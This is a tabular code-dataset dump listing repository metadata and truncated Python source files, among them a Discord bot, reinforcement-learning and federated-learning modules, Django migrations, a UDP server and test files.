hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
21166bc527a261fd10a8f75ff6962975085966f9 | 780 | py | Python | start.py | Wrdle/BertieBotV3 | 8bc5f762ec8de7192a8635e1bebd9dc1bba6ab0f | [
"MIT"
] | 3 | 2019-02-10T14:42:58.000Z | 2020-04-14T08:32:12.000Z | start.py | Wrdle/BertieBotV3 | 8bc5f762ec8de7192a8635e1bebd9dc1bba6ab0f | [
"MIT"
] | 1 | 2019-03-16T11:22:07.000Z | 2019-03-16T11:22:07.000Z | start.py | Wrdle/BertieBotV3 | 8bc5f762ec8de7192a8635e1bebd9dc1bba6ab0f | [
"MIT"
] | null | null | null | import threading
from discord.ext import commands
import discord
from website import create_app
from cogs import generalCommands, events, leaderboard
from settings import configFunctions
global client
client = commands.Bot(command_prefix=commands.when_mentioned_or(configFunctions.getCommandPrefix()), description='Yo... | 30 | 137 | 0.794872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 41 | 0.052564 |
2117cf54e7b7020c0cc8785a27a87431a73d56a9 | 1,644 | py | Python | flearn/common/strategy/lg.py | wnma3mz/flearn | df3c837bb164ec81736a3a64aaa85f574e7f67fa | [
"Apache-2.0"
] | 6 | 2021-11-11T15:09:28.000Z | 2022-03-16T02:15:06.000Z | flearn/common/strategy/lg.py | wnma3mz/flearn | df3c837bb164ec81736a3a64aaa85f574e7f67fa | [
"Apache-2.0"
] | null | null | null | flearn/common/strategy/lg.py | wnma3mz/flearn | df3c837bb164ec81736a3a64aaa85f574e7f67fa | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
from .avg import AVG
class LG(AVG):
"""
Fed Think locally, act globally, https://github.com/pliang279/LG-FedAvg
References
----------
.. [1] Liang P P, Liu T, Ziyin L, et al. Think locally, act globally: Federated learning with local and global representations[J]. arXiv preprint a... | 34.25 | 173 | 0.623479 | 1,604 | 0.975669 | 0 | 0 | 0 | 0 | 0 | 0 | 339 | 0.206204 |
2118068c90ee6fe45dbd96479d69f88ca74aa067 | 30,082 | py | Python | kamarl/ppo.py | kandouss/kamarl | f3268e0cc8f55bdfc2591b1d23f5089aaeb93a41 | [
"MIT"
] | 4 | 2020-07-01T01:10:38.000Z | 2022-01-13T18:09:11.000Z | kamarl/ppo.py | kandouss/kamarl | f3268e0cc8f55bdfc2591b1d23f5089aaeb93a41 | [
"MIT"
] | 2 | 2021-04-30T15:43:07.000Z | 2022-01-06T09:23:30.000Z | kamarl/ppo.py | kandouss/kamarl | f3268e0cc8f55bdfc2591b1d23f5089aaeb93a41 | [
"MIT"
] | 1 | 2020-09-10T11:38:18.000Z | 2020-09-10T11:38:18.000Z | import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import os
import pickle
import warnings
from collections import defaultdict
import gym
from kamarl.modules import ConvNet, SeqLSTM, make_mlp, device_of, PixelDropout
from kamarl.buffers import RecurrentReplayMemory, init_array_rec... | 39.738441 | 163 | 0.555814 | 28,984 | 0.9635 | 0 | 0 | 585 | 0.019447 | 0 | 0 | 5,003 | 0.166312 |
2118556386ae81e73015847d80c2e673b459a224 | 958 | py | Python | comm/udpserver.py | mickvangelderen/bikesim | 2f62f3864022221585d317748a931b514431f13a | [
"MIT"
] | 2 | 2020-09-25T08:29:57.000Z | 2021-02-03T23:35:49.000Z | comm/udpserver.py | mickvangelderen/bikesim | 2f62f3864022221585d317748a931b514431f13a | [
"MIT"
] | 13 | 2015-05-24T12:35:32.000Z | 2017-04-25T14:56:57.000Z | comm/udpserver.py | mickvangelderen/bikesim | 2f62f3864022221585d317748a931b514431f13a | [
"MIT"
] | 2 | 2017-02-23T12:33:54.000Z | 2021-03-01T13:23:43.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import socketserver
from lxml import etree
class UdpHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
print("{} wrote:".format(self.client_address[0]))
print(data)
self.server.decode_... | 26.611111 | 61 | 0.626305 | 577 | 0.602296 | 0 | 0 | 0 | 0 | 0 | 0 | 117 | 0.122129 |
2118bed7dc6a1d90a9c25e8b18bcfa38fec8ad1d | 4,416 | py | Python | tests/metrics/test_compute_kid.py | alexmlamb/mimicry | be030fb24a79c9bd50843d188d930c01e2260f45 | [
"MIT"
] | 1 | 2020-04-07T05:28:36.000Z | 2020-04-07T05:28:36.000Z | tests/metrics/test_compute_kid.py | Gyanachand1/mimicry | 4e0fd46c2c5e97c319273a03374bbfa730071711 | [
"MIT"
] | null | null | null | tests/metrics/test_compute_kid.py | Gyanachand1/mimicry | 4e0fd46c2c5e97c319273a03374bbfa730071711 | [
"MIT"
] | null | null | null | import os
import shutil
import tensorflow as tf
import torch
from torch_mimicry.metrics import compute_kid
from torch_mimicry.metrics.inception_model import inception_utils
from torch_mimicry.nets.gan import gan
class ExampleGen(gan.BaseGenerator):
def __init__(self,
bottom_width=4,
... | 33.709924 | 79 | 0.529665 | 3,999 | 0.905571 | 0 | 0 | 0 | 0 | 0 | 0 | 190 | 0.043025 |
21193263528777c8ec5d4a090e797b8d465d93a5 | 1,831 | py | Python | t_system/remote_ui/modules/identity.py | sevgiun/T_System | 2664e38843c36578bfb6c61e2642b56bd537352a | [
"MIT"
] | 7 | 2019-11-06T10:00:39.000Z | 2021-06-29T20:31:54.000Z | t_system/remote_ui/modules/identity.py | sevgiun/T_System | 2664e38843c36578bfb6c61e2642b56bd537352a | [
"MIT"
] | 741 | 2019-11-01T11:23:33.000Z | 2022-03-31T13:49:17.000Z | t_system/remote_ui/modules/identity.py | sevgiun/T_System | 2664e38843c36578bfb6c61e2642b56bd537352a | [
"MIT"
] | 6 | 2019-11-01T11:49:27.000Z | 2022-03-18T03:04:16.000Z | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
.. module:: identity
:platform: Unix
:synopsis: the top-level submodule of T_System's remote_ui that contains the functions for realizing identity process of T_System.
.. moduleauthor:: Cem Baybars GÜÇLÜ <cem.baybars@gmail.com>
"""
from t_system.administration i... | 28.609375 | 134 | 0.619334 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 837 | 0.456379 |
2119941082b4367c1e0f4f3bf300a943ee2e548f | 2,279 | py | Python | kit/form_layout/formin.py | AsociTon/Dot_Bot | f50f29f79112adf45ba10c8e3a43ac075c323d1d | [
"Unlicense"
] | null | null | null | kit/form_layout/formin.py | AsociTon/Dot_Bot | f50f29f79112adf45ba10c8e3a43ac075c323d1d | [
"Unlicense"
] | null | null | null | kit/form_layout/formin.py | AsociTon/Dot_Bot | f50f29f79112adf45ba10c8e3a43ac075c323d1d | [
"Unlicense"
] | null | null | null | class formstruct():
name = str()
while True:
name = input("\n.bot >> enter your first name:")
if not name.isalpha():
print(".bot >> your first name must have alphabets only!")
continue
else:
name = name.upper()
break
city = str()
while True:
c... | 25.897727 | 106 | 0.537516 | 2,274 | 0.997806 | 0 | 0 | 0 | 0 | 0 | 0 | 807 | 0.354103 |
211ad11f9ebdef48bf332ecf751958ae13ba3bd7 | 566 | py | Python | core/migrations/0004_auto_20210502_0503.py | Armestrong/resale_api | 75a798f2aa95b7d316e145f3811fa05537c606df | [
"MIT"
] | null | null | null | core/migrations/0004_auto_20210502_0503.py | Armestrong/resale_api | 75a798f2aa95b7d316e145f3811fa05537c606df | [
"MIT"
] | null | null | null | core/migrations/0004_auto_20210502_0503.py | Armestrong/resale_api | 75a798f2aa95b7d316e145f3811fa05537c606df | [
"MIT"
] | null | null | null | # Generated by Django 2.2 on 2021-05-02 08:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0003_auto_20210502_0459'),
]
operations = [
migrations.AlterField(
model_name='property',
name='features',
... | 23.583333 | 62 | 0.584806 | 475 | 0.839223 | 0 | 0 | 0 | 0 | 0 | 0 | 116 | 0.204947 |
211cae5e480faa8195032b59f9591460f2ff97be | 1,154 | py | Python | test/test_tile.py | MiroK/tieler | 5204e12157528b18ab1161d4bc5655194c4e8dcb | [
"MIT"
] | 1 | 2019-12-19T10:07:34.000Z | 2019-12-19T10:07:34.000Z | test/test_tile.py | MiroK/tieler | 5204e12157528b18ab1161d4bc5655194c4e8dcb | [
"MIT"
] | null | null | null | test/test_tile.py | MiroK/tieler | 5204e12157528b18ab1161d4bc5655194c4e8dcb | [
"MIT"
] | 1 | 2019-12-13T15:31:02.000Z | 2019-12-13T15:31:02.000Z | import unittest
from tieler.tile import powers2, TileMesh
from tieler.tile_data import mf_from_data, load_data
from dolfin import (UnitSquareMesh, MeshFunction, CompiledSubDomain,
SubsetIterator)
import numpy as np
class TestTile(unittest.TestCase):
def test_powers(self):
check = all(... | 31.189189 | 82 | 0.615251 | 916 | 0.793761 | 0 | 0 | 0 | 0 | 0 | 0 | 44 | 0.038128 |
211cc816802d2504b9662cbd05920bf956accf92 | 607 | py | Python | src/demo.py | wenksi/pren-robo-cube-ipcv | e2cf655a7e33aa63dae6e2b2a91abaa11d587f8f | [
"MIT"
] | null | null | null | src/demo.py | wenksi/pren-robo-cube-ipcv | e2cf655a7e33aa63dae6e2b2a91abaa11d587f8f | [
"MIT"
] | null | null | null | src/demo.py | wenksi/pren-robo-cube-ipcv | e2cf655a7e33aa63dae6e2b2a91abaa11d587f8f | [
"MIT"
] | null | null | null | import logging
import pyttsx3
from src.a_detect_pictogram import course_detect_pictogram
from src.common.communication.serial_handler import *
from src.common.movement.drive import *
from src.common.movement.direction import *
from src.common.movement.climb import *
ts = pyttsx3.init()
ts.say("Welcome to our Demonstr... | 23.346154 | 66 | 0.794069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 86 | 0.14168 |
211ce10aeead46c0c7f51e5abafc02877fb2cf97 | 704 | py | Python | saleor/product/migrations/0168_fulfil_digitalcontenturl_orderline_token.py | eanknd/saleor | 08aa724176be00d7aaf654f14e9ae99dd4327f97 | [
"CC-BY-4.0"
] | 1,392 | 2021-10-06T15:54:28.000Z | 2022-03-31T20:50:55.000Z | saleor/product/migrations/0168_fulfil_digitalcontenturl_orderline_token.py | eanknd/saleor | 08aa724176be00d7aaf654f14e9ae99dd4327f97 | [
"CC-BY-4.0"
] | 888 | 2021-10-06T10:48:54.000Z | 2022-03-31T11:00:30.000Z | saleor/product/migrations/0168_fulfil_digitalcontenturl_orderline_token.py | gustavoarmoa/saleor | f81b2f347e4c7a624cd68a1eca3b0a5611498f6e | [
"CC-BY-4.0"
] | 538 | 2021-10-07T16:21:27.000Z | 2022-03-31T22:58:57.000Z | # Generated by Django 3.2.12 on 2022-04-12 14:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("product", "0167_digitalcontenturl_order_line_token"),
("order", "0140_alter_orderline_old_id_and_created_at"),
]
operations = [
migrations.... | 26.074074 | 76 | 0.586648 | 618 | 0.877841 | 0 | 0 | 0 | 0 | 0 | 0 | 446 | 0.633523 |
211d99bab2350894eacc338077a740dc54ba2deb | 2,086 | py | Python | thtml/__main__.py | cariad/tohtml | 7e8c07a2342847f96bb136563587a20a15169ef7 | [
"MIT"
] | null | null | null | thtml/__main__.py | cariad/tohtml | 7e8c07a2342847f96bb136563587a20a15169ef7 | [
"MIT"
] | 22 | 2021-09-04T12:15:00.000Z | 2021-10-10T14:16:28.000Z | thtml/__main__.py | cariad/tohtml | 7e8c07a2342847f96bb136563587a20a15169ef7 | [
"MIT"
] | null | null | null | from argparse import ArgumentParser
from sys import stdin, stdout
from tempfile import NamedTemporaryFile
from time import sleep
from webbrowser import open as open_web
from naughtty import NaughTTY
from thtml import get_version
from thtml.cli import write_html
from thtml.options import Scope
def cli_entry() -> Non... | 23.438202 | 85 | 0.581496 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 466 | 0.223394 |
211f6ddf246f598450cec780f0b1b09a427a9f4d | 1,356 | py | Python | python3/719.find-k-th-smallest-pair-distance.214267100.ac.py | Diego-Zulu/leetcode_answers | ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4 | [
"MIT"
] | null | null | null | python3/719.find-k-th-smallest-pair-distance.214267100.ac.py | Diego-Zulu/leetcode_answers | ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4 | [
"MIT"
] | null | null | null | python3/719.find-k-th-smallest-pair-distance.214267100.ac.py | Diego-Zulu/leetcode_answers | ad435df1bd95fb2c6e17d2d9ff349282c98ee0f4 | [
"MIT"
] | null | null | null | #
# @lc app=leetcode id=719 lang=python3
#
# [719] Find K-th Smallest Pair Distance
#
# https://leetcode.com/problems/find-k-th-smallest-pair-distance/description/
#
# algorithms
# Hard (30.99%)
# Likes: 827
# Dislikes: 30
# Total Accepted: 29.9K
# Total Submissions: 96.4K
# Testcase Example: '[1,3,1]\n1'
#
# Gi... | 20.861538 | 77 | 0.528761 | 559 | 0.412242 | 0 | 0 | 0 | 0 | 0 | 0 | 738 | 0.544248 |
211f8d2ee9b0a9fad9c5178249bd1da0ab9a01b5 | 15,507 | py | Python | openapiart/openapiartprotobuf.py | open-traffic-generator/openapiart | c8ceea738a07f0635c501b65583ed81428b7f5a7 | [
"MIT"
] | 3 | 2021-08-05T05:23:48.000Z | 2022-01-26T16:52:20.000Z | openapiart/openapiartprotobuf.py | open-traffic-generator/openapiart | c8ceea738a07f0635c501b65583ed81428b7f5a7 | [
"MIT"
] | 186 | 2021-06-04T05:04:39.000Z | 2022-03-28T09:55:24.000Z | openapiart/openapiartprotobuf.py | open-traffic-generator/openapiart | c8ceea738a07f0635c501b65583ed81428b7f5a7 | [
"MIT"
] | 2 | 2021-09-24T09:39:57.000Z | 2021-12-13T05:40:37.000Z | import os
import jsonpath_ng
from .openapiartplugin import OpenApiArtPlugin
class OpenApiArtProtobuf(OpenApiArtPlugin):
def __init__(self, **kwargs):
super(OpenApiArtProtobuf, self).__init__(**kwargs)
self._filename = os.path.normpath(os.path.join(self._output_dir, "{}.proto".format(self._protobuf... | 47.133739 | 130 | 0.565229 | 15,428 | 0.994906 | 0 | 0 | 0 | 0 | 0 | 0 | 3,188 | 0.205585 |
21226fcd5be7a149c71e6cd157a3b6472337737a | 1,430 | py | Python | dashboard/app.py | katabaticwind/learn-vue | c83fc1b7ef3edfdc0abd06ba39be58f5a1ca5a59 | [
"MIT"
] | null | null | null | dashboard/app.py | katabaticwind/learn-vue | c83fc1b7ef3edfdc0abd06ba39be58f5a1ca5a59 | [
"MIT"
] | null | null | null | dashboard/app.py | katabaticwind/learn-vue | c83fc1b7ef3edfdc0abd06ba39be58f5a1ca5a59 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, url_for
import os
app = Flask(__name__)
# Homepage
@app.route('/')
def index():
return render_template('index.html')
# Domestic Dashboards
@app.route('/domestic/')
@app.route('/domestic/<model>')
def domestic(model=None):
return render_template('domestic.html', mod... | 27.5 | 89 | 0.645455 | 0 | 0 | 0 | 0 | 835 | 0.583916 | 0 | 0 | 697 | 0.487413 |
2125bf481f33a3ec079e7c7220e2022117799088 | 1,780 | py | Python | pepdb/tasks/elastic_models.py | dchaplinsky/pep.org.ua | 8633a65fb657d7f04dbdb12eb8ae705fa6be67e3 | [
"MIT"
] | 7 | 2015-12-21T03:52:46.000Z | 2020-07-24T19:17:23.000Z | pepdb/tasks/elastic_models.py | dchaplinsky/pep.org.ua | 8633a65fb657d7f04dbdb12eb8ae705fa6be67e3 | [
"MIT"
] | 12 | 2016-03-05T18:11:05.000Z | 2021-06-17T20:20:03.000Z | pepdb/tasks/elastic_models.py | dchaplinsky/pep.org.ua | 8633a65fb657d7f04dbdb12eb8ae705fa6be67e3 | [
"MIT"
] | 4 | 2016-07-17T20:19:38.000Z | 2021-03-23T12:47:20.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from elasticsearch_dsl import Q, Keyword, Text, DocType, Date
class EDRPOU(DocType):
"""EDRPOU."""
status_order = (
"зареєстровано",
"зареєстровано, свідоцтво про державну реєстрацію недійсне",
"порушено справу про банкру... | 30.169492 | 97 | 0.567978 | 1,803 | 0.93323 | 0 | 0 | 839 | 0.434265 | 0 | 0 | 691 | 0.35766 |
212749bc744b35c985e440f3530a80df198704b9 | 17,897 | py | Python | paprika/restraints/plumed.py | slochower/pAPRika | 50a6c148f88db896e94bd5f03c4f4bebb129b0f1 | [
"BSD-3-Clause"
] | 16 | 2017-04-19T23:46:49.000Z | 2022-03-05T19:47:02.000Z | paprika/restraints/plumed.py | slochower/pAPRika | 50a6c148f88db896e94bd5f03c4f4bebb129b0f1 | [
"BSD-3-Clause"
] | 154 | 2017-04-20T16:05:26.000Z | 2022-03-24T21:07:18.000Z | paprika/restraints/plumed.py | slochower/pAPRika | 50a6c148f88db896e94bd5f03c4f4bebb129b0f1 | [
"BSD-3-Clause"
] | 12 | 2017-07-06T07:55:31.000Z | 2022-03-12T05:05:44.000Z | import logging
import os
import numpy as np
from openff.units import unit as pint_unit
from parmed.structure import Structure as ParmedStructureClass
from paprika.build.dummy import extract_dummy_atoms
from paprika.restraints.utils import get_bias_potential_type, parse_window
from paprika.utils import get_key, return... | 34.88694 | 117 | 0.559926 | 16,637 | 0.929597 | 0 | 0 | 5,309 | 0.296642 | 0 | 0 | 8,680 | 0.484997 |
212a95f1c4fd882b3f3c07fbbadd0044bf24ec45 | 911 | py | Python | modules/GEM_500_COM3.py | ZeppW/ODMRGUI | ec4b5fc5ab522eb0ba2ba287f1d6ba6606636527 | [
"MIT"
] | null | null | null | modules/GEM_500_COM3.py | ZeppW/ODMRGUI | ec4b5fc5ab522eb0ba2ba287f1d6ba6606636527 | [
"MIT"
] | null | null | null | modules/GEM_500_COM3.py | ZeppW/ODMRGUI | ec4b5fc5ab522eb0ba2ba287f1d6ba6606636527 | [
"MIT"
] | 2 | 2020-03-28T20:42:53.000Z | 2020-04-21T20:47:36.000Z | import pyvisa
import time
import numpy as np
from struct import unpack
import matplotlib.pyplot as plt
rm = pyvisa.ResourceManager()
rm.list_resources()
GEM = rm.open_resource('ASRL3::INSTR')
def Turn_on():
GEM.write('ON')
GEM.write('POWER=001')
print('Laser has initialized!!!')
def SetPower(pw_mw):
... | 21.186047 | 68 | 0.592755 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 202 | 0.221734 |
212af891bd58568f117d5d889dd08db69eb8d0ee | 7,778 | py | Python | data_loading/sets/oxford_flowers.py | yyx1994/pytorch.repmet | 847a2b71fa751e6d381c233df0107a53592d8ce5 | [
"MIT"
] | 4 | 2019-09-29T08:57:09.000Z | 2021-04-20T09:36:56.000Z | data_loading/sets/oxford_flowers.py | xtynwfn/pytorch.repmet | 847a2b71fa751e6d381c233df0107a53592d8ce5 | [
"MIT"
] | null | null | null | data_loading/sets/oxford_flowers.py | xtynwfn/pytorch.repmet | 847a2b71fa751e6d381c233df0107a53592d8ce5 | [
"MIT"
] | 1 | 2021-04-12T06:58:06.000Z | 2021-04-12T06:58:06.000Z | """
Oxford Flowers dataset loader
1020 samples spanning 102 classes (avg 10 per class)
http://www.robots.ox.ac.uk/~vgg/data/flowers
"""
from __future__ import print_function
import numpy as np
from PIL import Image, ImageFile
from os.path import join
import os
import scipy.io
import tarfile
import shutil
from torc... | 34.114035 | 118 | 0.628953 | 6,498 | 0.835433 | 0 | 0 | 250 | 0.032142 | 0 | 0 | 2,128 | 0.273592 |
212c6a033933cc16fdde51c24f44e974db430411 | 1,579 | py | Python | custom_uss/vims_main.py | shuanet/dss | 5daafeb89aac58e4614775f301bec920f4abfa24 | [
"Apache-2.0"
] | 2 | 2022-02-13T19:13:16.000Z | 2022-02-17T14:52:05.000Z | custom_uss/vims_main.py | shuanet/dss | 5daafeb89aac58e4614775f301bec920f4abfa24 | [
"Apache-2.0"
] | null | null | null | custom_uss/vims_main.py | shuanet/dss | 5daafeb89aac58e4614775f301bec920f4abfa24 | [
"Apache-2.0"
] | 1 | 2022-02-16T20:17:38.000Z | 2022-02-16T20:17:38.000Z | #!/usr/bin/python3
import re
from custom_vims import VIMS
import json
"""
commands:
$ create_vims id port
$ create_vertiport ENAC
$ create_vertiport LFBO
$ get_vertiport vertiport_name
$ delete_vertiport vertiport_name
"""
def is_uuid(uuid):
"""
UUID encription.
"""
match = re.match('[a-fA-F0-9]{8}-[a-fA-F0-9]{... | 23.567164 | 102 | 0.698543 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 536 | 0.339455 |
212c7789af89131c2bbfe4f6722164ee35269ced | 486 | py | Python | src/softforest/routing.py | Zayn484/softForest-rest-api | 6ba80f738f2f00e938bc472b900c467d67dc4bc4 | [
"bzip2-1.0.6"
] | null | null | null | src/softforest/routing.py | Zayn484/softForest-rest-api | 6ba80f738f2f00e938bc472b900c467d67dc4bc4 | [
"bzip2-1.0.6"
] | 5 | 2021-03-19T00:39:57.000Z | 2022-01-13T01:14:11.000Z | src/softforest/routing.py | Zayn484/softforest-rest-api | 6ba80f738f2f00e938bc472b900c467d67dc4bc4 | [
"bzip2-1.0.6"
] | null | null | null | from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.urls import re_path
from chat.consumers import ChatConsumer
from teams.consumers import InvitationConsumer
application = ProtocolTypeRouter({
'websocket': AuthMiddlewareStack(
URLRouter([
... | 30.375 | 74 | 0.699588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 78 | 0.160494 |
212d2ae3f3860ba8035eb54ebdfbfb256b22bb6e | 973 | py | Python | src/spaceone/inventory/manager/pricing_manager.py | jihyungSong/plugin-aws-price-info | f97f4edff4f022cc9e7c43185ecc98fe9a92fb48 | [
"Apache-2.0"
] | 1 | 2021-02-18T07:56:14.000Z | 2021-02-18T07:56:14.000Z | src/spaceone/inventory/manager/pricing_manager.py | jihyungSong/plugin-aws-price-info | f97f4edff4f022cc9e7c43185ecc98fe9a92fb48 | [
"Apache-2.0"
] | null | null | null | src/spaceone/inventory/manager/pricing_manager.py | jihyungSong/plugin-aws-price-info | f97f4edff4f022cc9e7c43185ecc98fe9a92fb48 | [
"Apache-2.0"
] | 2 | 2021-02-18T07:56:17.000Z | 2021-03-23T01:53:40.000Z | import json
from spaceone.inventory.libs.manager import AWSManager
from spaceone.inventory.connector.pricing import PricingConnector
from spaceone.inventory.model.pricing.cloud_service_type import CLOUD_SERVICE_TYPES
class PricingManager(AWSManager):
conn = None
def __init__(self, transaction=None, **kwargs)... | 36.037037 | 97 | 0.741007 | 753 | 0.773895 | 263 | 0.270298 | 144 | 0.147996 | 0 | 0 | 44 | 0.045221 |
213001fc2c57be3f593a70955944181861dce3d7 | 3,131 | py | Python | CatMap/statistics_cat/src/main/python/merge_rdf.py | QCAPI-DRIP/eVRE-ENVRI_Blocks | 90859424ae9e464dc8c60589ef43c247ff32aff1 | [
"Apache-2.0"
] | 1 | 2018-12-07T09:30:08.000Z | 2018-12-07T09:30:08.000Z | CatMap/statistics_cat/src/main/python/merge_rdf.py | QCAPI-DRIP/eVRE-ENVRI | 90859424ae9e464dc8c60589ef43c247ff32aff1 | [
"Apache-2.0"
] | null | null | null | CatMap/statistics_cat/src/main/python/merge_rdf.py | QCAPI-DRIP/eVRE-ENVRI | 90859424ae9e464dc8c60589ef43c247ff32aff1 | [
"Apache-2.0"
] | null | null | null | #! /usr/bin/env python
from rdflib import Graph, RDF, BNode, URIRef, Namespace, ConjunctiveGraph, Literal
from pathlib import Path
import sys
import ftplib
import tempfile
import shutil
import os
import json
import urllib
import base64
import pika
import urlparse
def get_degrees(directory_in_str):
stats = {}
... | 26.991379 | 87 | 0.639732 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 399 | 0.127435 |
21302d3ba8091fd04babc7e6b1cac595bcb3588f | 816 | py | Python | django_drf_filepond/migrations/0003_add_storedupload.py | alarivas/django-drf-filepond | 30098c186cd489728c227de0f85004039a1f72fc | [
"BSD-3-Clause"
] | 81 | 2018-12-03T22:37:40.000Z | 2022-03-31T15:33:06.000Z | django_drf_filepond/migrations/0003_add_storedupload.py | alarivas/django-drf-filepond | 30098c186cd489728c227de0f85004039a1f72fc | [
"BSD-3-Clause"
] | 56 | 2019-01-02T16:04:12.000Z | 2022-03-15T02:45:29.000Z | django_drf_filepond/migrations/0003_add_storedupload.py | alarivas/django-drf-filepond | 30098c186cd489728c227de0f85004039a1f72fc | [
"BSD-3-Clause"
] | 29 | 2018-12-30T22:45:19.000Z | 2022-03-12T02:48:51.000Z | # Generated by Django 2.1.3 on 2019-02-13 13:00
import django.core.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('django_drf_filepond', '0002_add_upload_dir'),
]
operations = [
migrations.CreateModel(
name='Stored... | 30.222222 | 74 | 0.552696 | 694 | 0.85049 | 0 | 0 | 0 | 0 | 0 | 0 | 143 | 0.175245 |
21308689b917b00024ac6bc365d471accdf44ba5 | 115 | py | Python | portal/apps/memcached/views.py | Artis-Physis/utopia-cms | 5cb8d941d0b2df53fddc566a52e9d3baee4a007e | [
"BSD-3-Clause"
] | 8 | 2020-12-15T17:11:08.000Z | 2021-12-13T22:08:33.000Z | portal/apps/memcached/views.py | Artis-Physis/utopia-cms | 5cb8d941d0b2df53fddc566a52e9d3baee4a007e | [
"BSD-3-Clause"
] | 28 | 2020-12-15T17:34:03.000Z | 2022-02-01T04:09:10.000Z | portal/apps/memcached/views.py | Artis-Physis/utopia-cms | 5cb8d941d0b2df53fddc566a52e9d3baee4a007e | [
"BSD-3-Clause"
] | 7 | 2020-12-15T19:59:17.000Z | 2021-11-24T16:47:06.000Z | # -*- coding: utf-8 -*-
from memcached_status import view
def memcached_status(request):
return view(request)
| 19.166667 | 33 | 0.721739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.2 |
2130a3b1de35b98506260b7bd36a4036bd7b7be6 | 2,054 | py | Python | encrypted_fields_test/migrations/0003_demomigrationmodel_add_more_fields.py | bishtamit/django-searchable-encrypted-fields | dce4afe4aef826fda137dfae0f60c683d5b40a46 | [
"MIT"
] | 1 | 2021-08-21T08:55:03.000Z | 2021-08-21T08:55:03.000Z | encrypted_fields_test/migrations/0003_demomigrationmodel_add_more_fields.py | bishtamit/django-searchable-encrypted-fields | dce4afe4aef826fda137dfae0f60c683d5b40a46 | [
"MIT"
] | null | null | null | encrypted_fields_test/migrations/0003_demomigrationmodel_add_more_fields.py | bishtamit/django-searchable-encrypted-fields | dce4afe4aef826fda137dfae0f60c683d5b40a46 | [
"MIT"
] | null | null | null | # Generated by Django 2.1 on 2020-10-08 10:05
import datetime
from django.db import migrations
import encrypted_fields.fields
class Migration(migrations.Migration):
dependencies = [
('encrypted_fields_test', '0002_demomigrationmodel_add_test_record'),
]
operations = [
migrations.AddFiel... | 40.27451 | 166 | 0.666504 | 1,924 | 0.936709 | 0 | 0 | 0 | 0 | 0 | 0 | 495 | 0.240993 |
2133db37ffe3b094c18bdbaf67418da439298e46 | 1,015 | py | Python | home/GroG/ContinuousServo.py | rv8flyboy/pyrobotlab | 4e04fb751614a5cb6044ea15dcfcf885db8be65a | [
"Apache-2.0"
] | 63 | 2015-02-03T18:49:43.000Z | 2022-03-29T03:52:24.000Z | home/GroG/ContinuousServo.py | rv8flyboy/pyrobotlab | 4e04fb751614a5cb6044ea15dcfcf885db8be65a | [
"Apache-2.0"
] | 16 | 2016-01-26T19:13:29.000Z | 2018-11-25T21:20:51.000Z | home/GroG/ContinuousServo.py | rv8flyboy/pyrobotlab | 4e04fb751614a5cb6044ea15dcfcf885db8be65a | [
"Apache-2.0"
] | 151 | 2015-01-03T18:55:54.000Z | 2022-03-04T07:04:23.000Z | from java.lang import String
from org.myrobotlab.service import Speech
from org.myrobotlab.service import Sphinx
from org.myrobotlab.service import Runtime
# create mouth arduino and servo
ear = Runtime.createAndStart("ear","Sphinx")
arduino = Runtime.createAndStart("arduino","Arduino")
arduino.connect("COM4")
servo... | 33.833333 | 74 | 0.706404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 428 | 0.421675 |
2133e069ca87fe3a4720d2db5fafd837b8a54846 | 7,512 | py | Python | dstools/tests/preprocessing/test_FeatureConverter.py | Diadochokinetic/DataScienceTools | a5701888eeeab8fadab17266e9b3bb7a6b6b7b0a | [
